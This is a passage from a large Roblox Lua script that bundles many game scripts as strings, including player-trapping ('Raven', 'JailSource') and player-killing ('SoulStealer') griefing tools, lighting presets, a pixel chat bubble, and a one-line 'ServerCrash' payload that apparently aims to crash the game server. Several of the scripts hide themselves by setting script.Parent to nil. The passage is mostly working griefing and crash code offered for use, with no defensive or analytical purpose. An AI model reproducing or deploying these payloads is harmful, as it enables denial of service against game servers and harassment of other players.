  4575.                     rm.C0 = rsc0 * CFrame.Angles(angle*0.050, 0, 0) --right arm
  4576.                 else
  4577.                     rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4578.                 end
  4579.                 neck.C0 = neckc0 * CFrame.Angles(-angle*0.025, 0, 0) --head
  4580.                 rj.C0 = rootc0 * CFrame.Angles(-math.rad(1), 0, 0) --torso
  4581.             end
  4582.         elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then-- walk
  4583.             countspeed = 8-- this judges how fast the walk animation goes
  4584.             rlegm.C0 = rlc0 * CFrame.Angles(-angle*0.100, 0, 0)
  4585.             llegm.C0 = llc0 * CFrame.Angles(angle*0.100, 0, 0)
  4586.             neck.C0 = neckc0 * CFrame.Angles(0, 0, 0)
  4587.             lm.C0 = lsc0 * CFrame.Angles(-angle*0.100, 0, 0)
  4588.             if Equipped == false then
  4589.                 rm.C0 = rsc0 * CFrame.Angles(angle*0.100, 0, 0)
  4590.             else
  4591.                 rm.C0 = rsc0 * CFrame.Angles(math.rad(90),0,0)
  4592.             end
  4593.             rj.C0 = rootc0 * CFrame.Angles(0, 0, 0)
  4594.         end
  4595.     end
  4596. end)()
  4597. ]]
  4598. Raven = [[
  4599.     local fp = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
  4600. fp.Anchored = true
  4601. fp.Size = Vector3.new(10, 3, 25)
  4602. game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = 32
  4603.  
  4604. local players = {}
  4605.  
  4606. local fpm = Instance.new("SpecialMesh", fp)
  4607. fpm.MeshId = "http://www.roblox.com/asset/?id=20925363"
  4608. fpm.TextureId = "http://www.roblox.com/asset/?id=20925361"
  4609. fpm.Scale = Vector3.new(10, 10, 10)
  4610. fpm.VertexColor = Vector3.new(1, 0, 0)
  4611.  
  4612. fp.Touched:connect(function(part)
  4613.         pcall(function()
  4614.                 table.insert(players, part.Parent:findFirstChild("Torso"))
  4615.                 part.Parent:findFirstChild("Torso").Anchored = true
  4616.                 part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
  4617.         end)
  4618. end)
  4619.  
  4620. while wait() do
  4621.         fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
  4622.         fp.Position = fp.CFrame.p
  4623.         for i, v in pairs(players) do
  4624.                 v.CFrame = fp.CFrame * CFrame.new(0, 3, 2)
  4625.         end
  4626. end ]]
  4627. JailSource = [[ wait(0)
  4628.     script.Parent = nil
  4629.  
  4630.     local LP = game:GetService("Players").LocalPlayer
  4631.     Middle2 = nil
  4632.     Middle = nil
  4633.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4634.  
  4635.     Cons = {}
  4636.  
  4637.     function makePrison()
  4638.         for _,v in pairs(Cons) do
  4639.             v:disconnect()
  4640.         end
  4641.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4642.         if Middle == nil then
  4643.             Middle2 = LP.Character.Torso.Position
  4644.             Middle = LP.Character.Torso.CFrame
  4645.         end
  4646.         local side1 = Instance.new("Part")
  4647.         side1.Name = "¬Focus1¬"
  4648.         side1.Size = Vector3.new(20, 50, 1)
  4649.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  4650.         side1.BrickColor = BrickColor.new("Really black")
  4651.         side1.CanCollide = true
  4652.         side1.Anchored = true
  4653.         side1.TopSurface = "Smooth"
  4654.         side1.BottomSurface = "Smooth"
  4655.         side1.Parent = game:GetService("Workspace").CurrentCamera
  4656.  
  4657.         local side2 = Instance.new("Part")
  4658.         side2.Name = "¬Focus2¬"
  4659.         side2.Size = Vector3.new(20, 50, 1)
  4660.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  4661.         side2.BrickColor = BrickColor.new("Really black")
  4662.         side2.CanCollide = true
  4663.         side2.Anchored = true
  4664.         side2.TopSurface = "Smooth"
  4665.         side2.BottomSurface = "Smooth"
  4666.         side2.Parent = game:GetService("Workspace").CurrentCamera
  4667.  
  4668.         local side3 = Instance.new("Part")
  4669.         side3.Name = "¬Focus3¬"
  4670.         side3.Size = Vector3.new(1, 50, 20)
  4671.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  4672.         side3.BrickColor = BrickColor.new("Really black")
  4673.         side3.CanCollide = true
  4674.         side3.Anchored = true
  4675.         side3.TopSurface = "Smooth"
  4676.         side3.BottomSurface = "Smooth"
  4677.         side3.Parent = game:GetService("Workspace").CurrentCamera
  4678.  
  4679.         local side4 = Instance.new("Part")
  4680.         side4.Name = "¬Focus4¬"
  4681.         side4.Size = Vector3.new(1, 50, 20)
  4682.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  4683.         side4.BrickColor = BrickColor.new("Really black")
  4684.         side4.CanCollide = true
  4685.         side4.Anchored = true
  4686.         side4.TopSurface = "Smooth"
  4687.         side4.BottomSurface = "Smooth"
  4688.         side4.Parent = game:GetService("Workspace").CurrentCamera
  4689.        
  4690.         local side5 = Instance.new("Part")
  4691.         side5.Name = "¬Focus5¬"
  4692.         side5.Size = Vector3.new(20, 1, 20)
  4693.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  4694.         side5.BrickColor = BrickColor.new("Really black")
  4695.         side5.CanCollide = true
  4696.         side5.Anchored = true
  4697.         side5.TopSurface = "Smooth"
  4698.         side5.BottomSurface = "Smooth"
  4699.         side5.Parent = game:GetService("Workspace").CurrentCamera
  4700.        
  4701.         wait(0)
  4702.  
  4703.         table.insert(Cons, side1.Changed:connect(makePrison))
  4704.         table.insert(Cons, side2.Changed:connect(makePrison))
  4705.         table.insert(Cons, side3.Changed:connect(makePrison))
  4706.         table.insert(Cons, side4.Changed:connect(makePrison))
  4707.         table.insert(Cons, side5.Changed:connect(makePrison))
  4708.     end
  4709.  
  4710.     Delay(0, function()
  4711.         while wait(0) do
  4712.             ypcall(function()
  4713.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  4714.                     LP.Character:BreakJoints()
  4715.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  4716.                     makePrison()
  4717.                 end
  4718.             end)
  4719.             ypcall(function()
  4720.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  4721.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  4722.                 end
  4723.             end)
  4724.         end
  4725.     end)
  4726.     if not workspace.CurrentCamera:findFirstChild("Hint") then
  4727. local mes = Instance.new("Hint", workspace.CurrentCamera)
  4728. mes.Text = string.gsub("Now,Perish before you.","","\5")
  4729. end
  4730. ]]
  4731.  
  4732. Day = [[game:service'Lighting'.TimeOfDay = 14
  4733.     game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
  4734.     game:service'Lighting'.Brightness = 1
  4735.     game:service'Lighting'.Ambient = Color3.new()
  4736.     game:service'Lighting'.GlobalShadows = true
  4737.     game:service'Lighting'.GeographicLatitude = 41.733
  4738.     game:service'Lighting'.FogEnd = 100000
  4739.     game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
  4740.     game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4741. Morning = [[game:service'Lighting'.TimeOfDay = 7
  4742.     game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
  4743.     game:service'Lighting'.Brightness = 1
  4744.     game:service'Lighting'.Ambient = Color3.new()
  4745.     game:service'Lighting'.GlobalShadows = true
  4746.     game:service'Lighting'.GeographicLatitude = 41.733
  4747.     game:service'Lighting'.FogEnd = 100000
  4748.     game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
  4749.     game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4750. Night = [[game:service'Lighting'.TimeOfDay = 0
  4751.     game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15)
  4752.     game:service'Lighting'.Brightness = 1
  4753.     game:service'Lighting'.Ambient = Color3.new()
  4754.     game:service'Lighting'.GlobalShadows = true
  4755.     game:service'Lighting'.GeographicLatitude = 41.733
  4756.     game:service'Lighting'.FogEnd = 100000
  4757.     game:service'Lighting'.FogColor = Color3.new()
  4758.     game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4759. ServerCrash = [[Instance.new("ManualSurfaceJointInstance", game.Workspace)
  4760. ]]
  4761. PixelChatSource = [[
  4762. wait(0.001)
  4763. script:ClearAllChildren();
  4764. script.Parent=nil;
  4765. wait(1)
  4766. LocalPlayer = game:service'Players'.LocalPlayer
  4767. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  4768. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  4769. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4770. DeModel.Name = ":D"
  4771. FR = Instance.new("Frame",DeModel)
  4772. FR.Size=UDim2.new(1,0,1,0)
  4773. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4774. FR.BorderSizePixel=0
  4775. FR.ZIndex=2
  4776. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  4777. game:service'RunService'.RenderStepped:connect(function()
  4778.     pcall(function()
  4779.         local a = workspace:findFirstChild(LocalPlayer.Name)
  4780.         if a.ClassName == 'Part' then
  4781.             CurrParent = a
  4782.         else
  4783.             CurrParent = a:findFirstChild'Head'
  4784.         end
  4785.     end)
  4786.     if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  4787.         pcall(function()
  4788.             if CurrParent.ClassName == 'Part' then
  4789.                 DeModel = Instance.new("BillboardGui", CurrParent)
  4790.                 DeModel.Adornee = CurrParent
  4791.                 DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4792.                 DeModel.Name = ":D"
  4793.                 FR = Instance.new("Frame",DeModel)
  4794.                 FR.Size=UDim2.new(1,0,1,0)
  4795.                 FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4796.                 FR.BorderSizePixel=0
  4797.                 FR.ZIndex=2
  4798.             end
  4799.         end)
  4800.     end
  4801. end)
  4802. function CreateLetter(what, pos, posy, cl)
  4803.     pcall(function()
  4804.         if cl == nil then cl = "Really black" end
  4805.         if Letters[what:byte()-31] then
  4806.             what = Letters[what:byte()-31]
  4807.         else
  4808.             what = Letters[1]
  4809.         end
  4810.         if type(what) ~= "string" then return end
  4811.         what = what:gsub('\n','')
  4812.         what = what:gsub('\t','')
  4813.         what = what:gsub(' ','')
  4814.         pos = pos * 2
  4815.         posy = posy * 2
  4816.         c =  0
  4817.         for y=1,7 do
  4818.             for x=1,5 do
  4819.                 c = c + 1
  4820.                 if what:sub(c, c) == "1" then
  4821.                     local a = Instance.new("Frame", FR)
  4822.                     a.Name = "L"
  4823.                     a.ZIndex=3
  4824.                     a.Size = UDim2.new(0,2,0,2)
  4825.                     a.BorderSizePixel = 0
  4826.                     a.BackgroundTransparency = 1
  4827.                     a.BackgroundColor3 = BrickColor.new(cl).Color
  4828.                     a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  4829.                     coroutine.wrap(function()
  4830.                         wait(math.random(1, 10)/50)
  4831.                         a.BackgroundTransparency = 0
  4832.                     end)()
  4833.                 end
  4834.             end
  4835.         end
  4836.     end)
  4837. end
  4838. LocalPlayer.Chatted:connect(function(m)
  4839.     pcall(function()
  4840.         local cl = "Really black"
  4841.         for _,v in pairs(DeModel.Frame:children()) do
  4842.             v:Destroy()
  4843.         end
  4844.         if m:sub(1,2) == '/e' then return end
  4845.         if m:sub(1,3) == "/! " then
  4846.             m = m:sub(4)
  4847.             DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  4848.             cl = "Really red"
  4849.         else
  4850.             DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  4851.         end
  4852.         m1 = m:gsub("\n"," ")
  4853.         m1 = m1:gsub("\t"," ")
  4854.         m1 = m1:gsub("math.pi",tostring(math.pi))
  4855.         if #m1 <= 30 then
  4856.             DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  4857.         elseif #m1 <= 60 then
  4858.             DeModel.Size = UDim2.new(0,330,0,40)
  4859.         elseif #m1 <= 90 then
  4860.             DeModel.Size = UDim2.new(0,330,0,60)
  4861.         elseif #m1 > 90 then
  4862.             DeModel.Size = UDim2.new(0,340,0,60)
  4863.             m1 = m1:sub(1,90).."..."
  4864.         end
  4865.         coroutine.wrap(function()
  4866.             for i = 1,0,-1/#m1 do
  4867.                 DeModel.Frame.Transparency = i
  4868.                 wait(1/60)
  4869.             end
  4870.         end)()
  4871.         if #m1 < 30 then
  4872.             for i = 1,#m1 do
  4873.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  4874.                 wait(1/60)
  4875.             end
  4876.         elseif #m1 <= 60 then
  4877.             for i = 1,30 do
  4878.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  4879.                 wait(1/60)
  4880.             end
  4881.             for i = 31,#m1 do
  4882.                 CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  4883.                 wait(1/60)
  4884.             end
  4885.         elseif #m1 >= 60 then
  4886.             for i = 1,30 do
  4887.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  4888.                 wait(1/60)
  4889.             end
  4890.             for i = 31,60 do
  4891.                 CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  4892.                 wait(1/60)
  4893.             end
  4894.             for i = 61,#m1 do
  4895.                 CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  4896.                 wait(1/60)
  4897.             end
  4898.         end
  4899.     end)
  4900. end)
  4901. ]]
  4902. SoulStealer = [[
  4903. Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Stealer"
  4904. script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Stealer"
  4905. local char = script.Parent.Parent.Parent.Character
  4906. local humanoid = char.Humanoid
  4907. local Head = char.Head
  4908. local Torso = char.Torso
  4909. local LeftArm = char["Left Arm"]
  4910. local RightArm = char["Right Arm"]
  4911. local LeftLeg = char["Left Leg"]
  4912. local RightLeg = char["Right Leg"]
  4913. local RightHip = Torso["Right Hip"]
  4914. local LeftHip = Torso["Left Hip"]
  4915. local Neck = Torso.Neck
  4916. local RightShoulder = Torso["Right Shoulder"]
  4917. local LeftShoulder = Torso["Left Shoulder"]
  4918. local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4919. local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4920. local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  4921. local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  4922. local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  4923. local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  4924. local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
  4925. local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
  4926. local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
  4927. local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
  4928. local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  4929. local rootpart = char:findFirstChild("HumanoidRootPart")
  4930. spirit = false
  4931. Instance.new("HumanoidController", game:service'ControllerService')
  4932. Instance.new("SkateboardController", game:service'ControllerService')
  4933. Instance.new("VehicleController", game:service'ControllerService')
  4934. local Colors = {"White","Really black","Lavender","Bright bluish green"}
  4935. Head.Transparency = 0.5
  4936. Head.Reflectance = 0.5
  4937. Torso.Transparency = 0.5
  4938. Torso.Reflectance = 0.5
  4939. RightLeg.Transparency = 0.5
  4940. RightLeg.Reflectance = 0.5
  4941. LeftArm.Transparency = 0.5
  4942. LeftArm.Reflectance = 0.5
  4943. RightArm.Transparency = 0.5
  4944. RightArm.Reflectance = 0.5
  4945. LeftLeg.Transparency = 0.5
  4946. LeftLeg.Reflectance = 0.5
  4947. Head.Touched:connect(function(hit)
  4948. if hit.Parent:findFirstChild("Humanoid")then
  4949. game:GetService("Chat"):Chat(Head,"Oh hey there.Hug?",0)
  4950. for i,v in pairs(hit.Parent:GetChildren())do
  4951. if v:IsA"Humanoid" then
  4952. game:GetService("Chat"):Chat(Head,"I've taken your soul.",0)
  4953. v:Destroy()
  4954. elseif v:IsA"Part" then
  4955. game:GetService("Chat"):Chat(v.Parent.Head,"AHHHHHH!!!",2)
  4956. v.Velocity = v.Position * Vector3.new(50,3,0)
  4957. v.RotVelocity = v.Position - v.Velocity
  4958. v:Remove()
  4959. end end end
  4960. end)
  4961. Torso.Touched:connect(function(hit)
  4962. if hit.Parent:findFirstChild("Humanoid")then
  4963. game:GetService("Chat"):Chat(Head,"Hello sir,Want a friendly hug?",0)
  4964. for i,v in pairs(hit.Parent:GetChildren())do
  4965. if v:IsA"Humanoid" then
  4966. game:GetService("Chat"):Chat(Head,"That was too easy.",0)
  4967. v:Destroy()
  4968. elseif v:IsA"Part" then
  4969. game:GetService("Chat"):Chat(v.Parent.Head,"UGH!",2)
  4970. v.Velocity = v.Position * Vector3.new(50,3,0)
  4971. v.RotVelocity = v.Position - v.Velocity
  4972. v:Remove()
  4973. end end end
  4974. end)
  4975. RightArm.Touched:connect(function(hit)
  4976. game:GetService("Chat"):Chat(Head,"I've taken your life.",0)
  4977. if hit.Parent:findFirstChild("Humanoid")then
  4978. for i,v in pairs(hit.Parent:GetChildren())do
  4979. if v:IsA"Humanoid" then
  4980. game:GetService("Chat"):Chat(Head,"Now i break your bones.",0)
  4981. v:Destroy()
  4982. elseif v:IsA"Part" then
  4983. game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
  4984. v.Velocity = v.Position * Vector3.new(50,3,0)
  4985. v.RotVelocity = v.Position - v.Velocity
  4986. v:Remove()
  4987. end end end
  4988. end)
  4989. LeftArm.Touched:connect(function(hit)
  4990. game:GetService("Chat"):Chat(Head,"I've crushed you.",0)
  4991. if hit.Parent:findFirstChild("Humanoid")then
  4992. for i,v in pairs(hit.Parent:GetChildren())do
  4993. if v:IsA"Humanoid" then
  4994. game:GetService("Chat"):Chat(Head,"Ahhilated.",0)
  4995. v:Destroy()
  4996. elseif v:IsA"Part" then
  4997. game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
  4998. v.Velocity = v.Position * Vector3.new(50,3,0)
  4999. v.RotVelocity = v.Position - v.Velocity
  5000. v:Remove()
  5001. end end end
  5002. end)
  5003. LeftLeg.Touched:connect(function(hit)
  5004. if hit.Parent:findFirstChild("Humanoid")then
  5005. for i,v in pairs(hit.Parent:GetChildren())do
  5006. if v:IsA"Humanoid" then
  5007. game:GetService("Chat"):Chat(Head,"Cool.",0)
  5008. v:Destroy()
  5009. elseif v:IsA"Part" then
  5010. v.Velocity = v.Position * Vector3.new(50,3,0)
  5011. v.RotVelocity = v.Position - v.Velocity
  5012. v.Transparency = 0.5
  5013. end end end
  5014. end)
  5015. RightLeg.Touched:connect(function(hit)
  5016. if hit.Parent:findFirstChild("Humanoid")then
  5017. for i,v in pairs(hit.Parent:GetChildren())do
  5018. if v:IsA"Humanoid" then
  5019. v:Destroy()
  5020. elseif v:IsA"Part" then
  5021. v.Velocity = v.Position * Vector3.new(50,3,0)
  5022. v.RotVelocity = v.Position - v.Velocity
  5023. v.Transparency = 0.5
  5024. end end end
  5025. end)
  5026. humanoid.Died:connect(function()
  5027.     game:GetService("Chat"):Chat(Head,"NO!THIS IS IMPOSSIBLE!NOOOOO!",2)
  5028.     for cframe_parts = 0, 100 do
  5029.         local p = Instance.new("Part")
  5030.         p.FormFactor = "Custom"
  5031.         p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  5032.         p.Size = Vector3.new(1, 1, 1)
  5033.         Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5034.         p.Locked = true
  5035.         p.CanCollide = false
  5036.         p.Anchored = true
  5037.         p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  5038.         p.Parent = workspace
  5039.         local box = Instance.new("SelectionBox", p)
  5040.         box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  5041.         box.Adornee = p
  5042.         box.Transparency = 0.5
  5043.         box.Visible = true
  5044.         local spirit = Instance.new("Fire", p)
  5045.         spirit.Color = Color3.new(0,0,0)
  5046.         spirit.Enabled = true
  5047.         spirit.Heat = 10
  5048.         spirit.SecondaryColor = Color3.new(255,255,255)
  5049.         spirit.Size = 5
  5050.     game:service'Debris':AddItem(p, 5)
  5051.     coroutine.wrap(function()
  5052.     while wait() do
  5053.         if p ~= nil then
  5054.             p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5055.             p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5056.             p.Transparency = p.Transparency + 0.015
  5057.         else
  5058.             break
  5059.         end
  5060.     end
  5061. end)()
  5062. end
  5063. for _,v in pairs(char:children()) do
  5064.     if v:IsA("Part") then
  5065.         v:Destroy()
  5066.     end
  5067. end
  5068.  
  5069. end)
  5070. local function Button1Down(mouse)
  5071.     game:GetService("Chat"):Chat(Head,"NOW PERISH!SPIRIT MODE ACTIVATE!",2)
  5072.     if spirit == false then
  5073.         spirit = true
  5074.         RightArm.Transparency = 1
  5075.         LeftArm.Transparency = 1
  5076.         RightLeg.Transparency = 1
  5077.         LeftLeg.Transparency = 1
  5078.         Head.Transparency = 1
  5079.         Torso.Transparency = 1
  5080.     local protect = Instance.new("ForceField", char)
  5081.     protect.Archivable = true
  5082.     local spirit = Instance.new("Fire", char.Torso)
  5083.     spirit.Color = Color3.new(0,0,0)
  5084.     spirit.Enabled = true
  5085.     spirit.Heat = 10
  5086.     spirit.SecondaryColor = Color3.new(255,255,255)
  5087.     spirit.Size = 5
  5088.     humanoid.MaxHealth = math.huge
  5089.     wait()
  5090.     humanoid.WalkSpeed = 100
  5091.     wait(20)
  5092.     spirit = false
  5093.     game:GetService("Chat"):Chat(Head,"Have you gotten enough?No? Ok.",1)
  5094.     RightArm.Transparency = 0.5
  5095.     LeftArm.Transparency = 0.5
  5096.     RightLeg.Transparency = 0.5
  5097.     LeftLeg.Transparency = 0.5
  5098.     Head.Transparency = 0.5
  5099.     Torso.Transparency = 0.5
  5100.     char.Torso.Fire:Remove()
  5101.     humanoid.Health = 100
  5102.     humanoid.WalkSpeed = 16
  5103.     char.Head.face:Remove()
  5104.     char.ForceField:Remove()
  5105.     char.Pants:Remove()
  5106.     char.Shirt:Remove()
  5107.     end
  5108. end
  5109. script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
  5110. SoulSparer = [[
  5111. Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Sparer"
  5112. script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Sparer"
  5113. local char = script.Parent.Parent.Parent.Character
  5114. local humanoid = char.Humanoid
  5115. local Head = char.Head
  5116. local Torso = char.Torso
  5117. local LeftArm = char["Left Arm"]
  5118. local RightArm = char["Right Arm"]
  5119. local LeftLeg = char["Left Leg"]
  5120. local RightLeg = char["Right Leg"]
  5121. local RightHip = Torso["Right Hip"]
  5122. local LeftHip = Torso["Left Hip"]
  5123. local Neck = Torso.Neck
  5124. local RightShoulder = Torso["Right Shoulder"]
  5125. local LeftShoulder = Torso["Left Shoulder"]
  5126. local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5127. local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5128. local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  5129. local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  5130. local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  5131. local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  5132. local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
  5133. local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
  5134. local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
  5135. local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
  5136. spirit = false
  5137. local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  5138. local rootpart = char:findFirstChild("HumanoidRootPart")
  5139. spirit = false
  5140. Instance.new("HumanoidController", game:service'ControllerService')
  5141. Instance.new("SkateboardController", game:service'ControllerService')
  5142. Instance.new("VehicleController", game:service'ControllerService')
  5143. local Colors = {"White","Really blue","Really red","New Yeller","Lavender","Bright bluish green"}
  5144. Head.Touched:connect(function(hit)
  5145. if not hit.Parent:findFirstChild("Humanoid")then
  5146. game:GetService("Chat"):Chat(Head,"I'll give you a life.",0)
  5147. local pie = Instance.new("Humanoid", hit.Parent)
  5148. pie.Health = 0
  5149. for i,v in pairs(hit.Parent:GetChildren())do
  5150. if v:IsA"Humanoid" then
  5151. game:GetService("Chat"):Chat(Head,"I've made you reborn.",0)
  5152. elseif v:IsA"Part" then
  5153. game:GetService("Chat"):Chat(v.Parent.Head,"Yay!",1)
  5154. v.Velocity = v.Position * Vector3.new(50,3,0)
  5155. v.RotVelocity = v.Position - v.Velocity
  5156. v:MakeJoints()
  5157. end end end
  5158. end)
  5159. Torso.Touched:connect(function(hit)
  5160. if not hit.Parent:findFirstChild("Humanoid")then
  5161. game:GetService("Chat"):Chat(Head,"I'll give you a heart.",0)
  5162. local pie = Instance.new("Humanoid", hit.Parent)
  5163. pie.Health = 0
  5164. for i,v in pairs(hit.Parent:GetChildren())do
  5165. if v:IsA"Humanoid" then
  5166. game:GetService("Chat"):Chat(Head,"I've recreated you.",0)
  5167. elseif v:IsA"Part" then
  5168. game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
